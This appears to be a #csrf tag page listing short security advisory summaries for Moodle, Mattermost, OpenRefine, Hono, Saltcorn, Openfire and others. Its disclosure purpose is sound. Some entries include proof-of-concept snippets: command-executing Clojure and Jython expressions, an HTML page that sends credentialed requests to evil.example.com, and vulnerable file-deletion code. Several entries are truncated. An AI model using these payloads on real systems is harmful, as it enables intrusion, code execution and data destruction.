#csrf

The bulk message sending feature in Moodle's Feedback module's non-respondents report had an incorrect CSRF token check, leading to a CSRF vulnerability.

Proof of concept remote command execution exploit for CyberPanel versions prior to 5b08cd6.

Mattermost versions 9.10.x <= 9.10.2, 9.11.x <= 9.11.1, 9.5.x <= 9.5.9 fail to sanitize user inputs in the frontend that are used for redirection which allows for a one-click client-side path traversal that is leading to CSRF in Playbooks

### Summary The `export-rows` command can be used in such a way that it reflects part of the request verbatim, with a Content-Type header also taken from the request. An attacker could lead a user to a malicious page that submits a form POST that contains embedded JavaScript code. This code would then be included in the response, along with an attacker-controlled `Content-Type` header, and so potentially executed in the victim's browser as if it was part of OpenRefine. The attacker must know a valid project ID of a project that contains at least one row. ### Details The malicious form sets `contentType` to `text/html` (ExportRowsCommand.java line 101) and `preview` to `true` (line 107). This combination causes the browser to treat what OpenRefine thinks of as an export preview as a regular webpage. It would be safer if the `export-rows` command did not allow overriding the Content-Type header at all, instead relying on the exporter to provide the correct Content-Type. It could a...

### Summary Lack of CSRF protection on the `preview-expression` command means that visiting a malicious website could cause an attacker-controlled expression to be executed. The expression can contain arbitrary Clojure or Python code. The attacker must know a valid project ID of a project that contains at least one row. ### Details The `com.google.refine.commands.expr.PreviewExpressionCommand` class contains the following comment: ``` /** * The command uses POST but does not actually modify any state so it does not require CSRF. */ ``` However, this appears to be false (or no longer true). The expression being previewed (executed) can be written in GREL, Python, or Clojure. Since there are no restrictions on what code can be executed, the expression can do anything the user running OpenRefine can do. For instance, the following expressions start a calculator: ``` clojure:(.exec (Runtime/getRuntime) "gnome-calculator") ``` ``` jython:import os;os.system("gnome-calculator") ```...

This Metasploit module exploits two vulnerabilities in the BYOB (Build Your Own Botnet) web GUI. It leverages an unauthenticated arbitrary file write that allows modification of the SQLite database, adding a new admin user. It also uses an authenticated command injection in the payload generation page. These vulnerabilities remain unpatched.

### Summary Bypass CSRF Middleware by a request without Content-Type herader. ### Details Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89 ### PoC ```server.js // server.js import { Hono } from 'hono' import { csrf }from 'hono/csrf' const app = new Hono() app.use(csrf()) app.get('/', (c) => { return c.html('Hello Hono!') }) app.post('/', async (c) => { console.log("executed") return c.text( await c.req.text()) }) Deno.serve(app.fetch) ``` ```poc.html <!-- PoC.html --> <script> async function myclick() { await fetch("http://evil.example.com", { method: "POST", credentials: "include", body:new Blob([`test`],{}), }); } </script> <input type="button" onclick="myclick()" value="run" /> ``` Similarly, the fetch API does not add a Content-Type header for requests ...

Openfire version 4.8.0 suffers from authentication bypass and code injection vulnerabilities.

### Summary A logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`. ### Details - file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346 ```js router.post( "/clean_sync_dir", error_catcher(async (req, res) => { const { dir_name } = req.body; // [1] source try { const rootFolder = await File.rootFolder(); const syncDir = path.join( rootFolder.location, "mobile_app", "sync", dir_name // [2] ); await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink res.status(200).send(""); } catch (error) { getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`); res.status(400).json({ error: error.message || error }); } }) ); ``` ### Po...

Hikvision IP Cameras suffer from a cross site request forgery vulnerability.